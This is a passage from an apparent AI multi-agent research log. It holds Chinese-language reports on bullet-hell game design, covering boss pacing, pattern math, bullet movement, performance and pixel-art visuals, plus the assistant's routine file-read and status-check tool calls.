每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。\n\n### 3.4 时间限制与弹幕压力\n\n- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。\n- **压力节奏(tension-release loop)**:\n - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);\n - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。\n- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):\n 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");\n 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;\n 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;\n 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;\n 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。\n\n### 3.5 东方式 Boss 战结构参考(综合)\n\n1. 开战:非符 1(轻、教学、环/扇)\n2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)\n3. 非符 2(中压,引入瞄准/引弹)\n4. 符卡 2(组合图案,增强型:随血量变密)→ ……\n5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)\n6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合\n\n---\n\n## 4. 数学原理与实现\n\n### 4.1 基础参数体系\n\n任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):\n\n| 参数 | 作用 | 备注 |\n|---|---|---|\n| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |\n| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |\n| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |\n| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |\n| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |\n| 加速度 | 节奏与曲线 | 减速弹、加速弹 |\n| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |\n| 寿命 | 消失时机 | 滞留弹=长寿命 |\n| 分裂条件 | 时间/距离/位置 | 分裂弹 |\n| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |\n\n### 4.2 角度与排列公式(常用)\n\n- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)\n- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)\n- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)\n- **网格**:对 `(i,j)` 行列给固定 x/y 间距\n- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)\n- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形\n- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)\n- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)\n\n### 4.3 速度变化(加速/减速弹幕)\n\nDanmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):\n\n1. 恒定速度直线(默认)\n2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)\n3. 速度在慢/快之间周期切换\n4. 两位置间往返\n5. 极坐标运动(径向+角速度)\n6. 波浪线(squiggly)\n7. 旋转运动方向(追踪/转向)\n8. 相对另一运动物体运动(随从弹/母舰子机)\n9. 任意参数方程轨迹\n\n工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。\n\n### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)\n\n- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。\n- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。\n- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。\n- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。\n- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。\n\n### 4.5 性能实现建议\n\n- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。\n- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。\n- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。\n- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。\n\n---\n\n## 5. 像素风格下的弹幕视觉设计\n\n### 5.1 子弹形状库\n\n**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。\n\n**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):\n\n| 类别 | 形状 | 用途/特点 | 像素建议 |\n|---|---|---|---|\n| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |\n| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |\n| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |\n| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |\n| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |\n| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |\n\n**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。\n\n### 5.2 颜色编码\n\n- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。\n- **按属性/危险度编码**示例:\n - 红/橙 = 高速、致命、普通攻击;\n - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);\n - 紫/白 = 装饰弹、非致命、演出用;\n - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。\n - (以上为常见实践惯例,属综合常识,非单一文献结论。)\n- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。\n- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。\n\n### 5.3 子弹大小与可躲避性\n\n- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。\n- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。\n- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。\n- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。\n\n### 5.4 发光/粒子效果在像素风格中的处理\n\n- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。\n- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。\n- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。\n- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。\n- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。\n- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。\n\n### 5.5 弹幕层级的视觉优先级\n\n绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):\n\n1. 背景/场景层\n2. 地面敌人/可破坏物\n3. 道具、点数\n4. 玩家射击、爆炸特效(半透明)\n5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**\n6. 玩家机绘 + 判定点指示(聚焦时)\n7. UI(血量/符卡名/时间)\n\n理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。\n\n### 5.6 像素风格弹幕设计清单(落地用)\n\n- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);\n- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;\n- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;\n- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;\n- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);\n- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);\n- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;\n- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。\n\n---\n\n## 6. 对本项目(像素风弹幕游戏)的落地建议汇总\n\n1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。\n2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。\n3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。\n4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。\n5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。\n\n---\n\n## 7. 信息来源与置信度说明\n\n按信息诚实原则,对所有关键结论标注来源与置信度:\n\n**(A)本轮调研直接引用的网页来源(置信度高,可复核):**\n\n1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en\n2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html\n3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html\n4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡\n5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=\n6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)\n7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide\n8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo\n11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything\n12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku\n13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup\n14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md\n15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/\n17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。\n\n**(B)置信度说明:**\n\n- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。\n- \"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。\n- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。\n- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。\n\n---\n\n## 附录 A:参考链接汇总\n\n- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)\n- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)\n- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)\n- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)\n- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)\n- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)\n- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)\n- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)\n- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)\n- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)\n- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)\n- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)\n- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)\n- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)\n- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)\n- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)\n- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)\n- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)\n- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)\n- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)\n\n*报告完*", "current_truncated": false, "updated_at": "2026-08-23T12:33:39.012859"}], "_history_file": "[系统通知_sub_agent] ✅ 子智能体3 任务摘要:调研像素风格弹幕游戏_2026-08-23_123229_530.diff"}}}, {"role": "assistant", "reasoning_content": "太好了!子智能体3(像素美术风格调研)已经完成了。现在需要等待子智能体1和2完成。让我先查看已完成的报告内容,同时等待其他两个子智能体。", "content": "太好了!**子智能体3(像素美术风格)** 已完成!让我先看看这份报告,同时继续等待另外两份。", "timestamp": "2026-08-23T12:32:37.861846", "message_id": "msg_83b17cbc86bb4f73886a8bdffb1b5e3c", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "read_file_5", "index": 0, "type": "function", "function": {"name": "read_file", "arguments": "{\"intent\": \"读取像素美术调研报告\", \"path\": \"research/pixel_art_style/pixel_art_research.md\", \"type\": \"read\"}"}}, {"id": "get_sub_agent_status_6", "index": 1, "type": "function", "function": {"name": "get_sub_agent_status", "arguments": "{\"intent\": \"检查剩余子智能体状态\", \"agent_ids\": [1,2]}"}}]}, {"role": "tool", "content": "读取 research/pixel_art_style/pixel_art_research.md 行 1~259 (max_chars=50000)\n```\n# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告\n\n> 调研时间:2026-08-23\n> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源\n> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)\n\n---\n\n## 0. 摘要与总体结论\n\n- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。\n- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。\n- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。\n- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。\n- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。\n\n---\n\n## 1. 玩家飞船 / 角色设计\n\n### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)\n\n- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。\n- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。\n- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。\n- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。\n\n**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。\n\n### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)\n\n综合 SLYNYRD 教程与 Boghog 指南:\n\n- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。\n- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。\n- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。\n- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。\n- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。\n- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。\n\n### 1.3 东方Project 系列的角色精灵风格\n\n(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)\n\n- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。\n- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。\n- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。\n- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。\n- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。\n\n### 1.4 像素飞船设计要点(落地 Checklist)\n\n| 项目 | 建议 |\n|---|---|\n| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |\n| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |\n| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |\n| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |\n| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |\n| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |\n\n### 1.5 判定框(Hitbox)视觉提示设计\n\n- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。\n- **视觉提示做法(主流方案)**:\n 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。\n 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。\n 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。\n- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。\n\n---\n\n## 2. 敌方单位设计\n\n### 2.1 杂兵(Enemy Grunts)的像素设计\n\n- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。\n- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):\n - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。\n - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。\n- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。\n- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。\n- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。\n\n### 2.2 Boss 的体型与细节层次\n\n- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。\n- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。\n- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。\n- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。\n- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。\n\n### 2.3 敌方攻击前的视觉预警(Telegraph)\n\n- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。\n- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。\n- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。\n- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。\n- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。\n- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。\n\n---\n\n## 3. 子弹 / 弹幕的像素美术\n\n### 3.1 常见像素子弹样式与尺寸\n\n**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 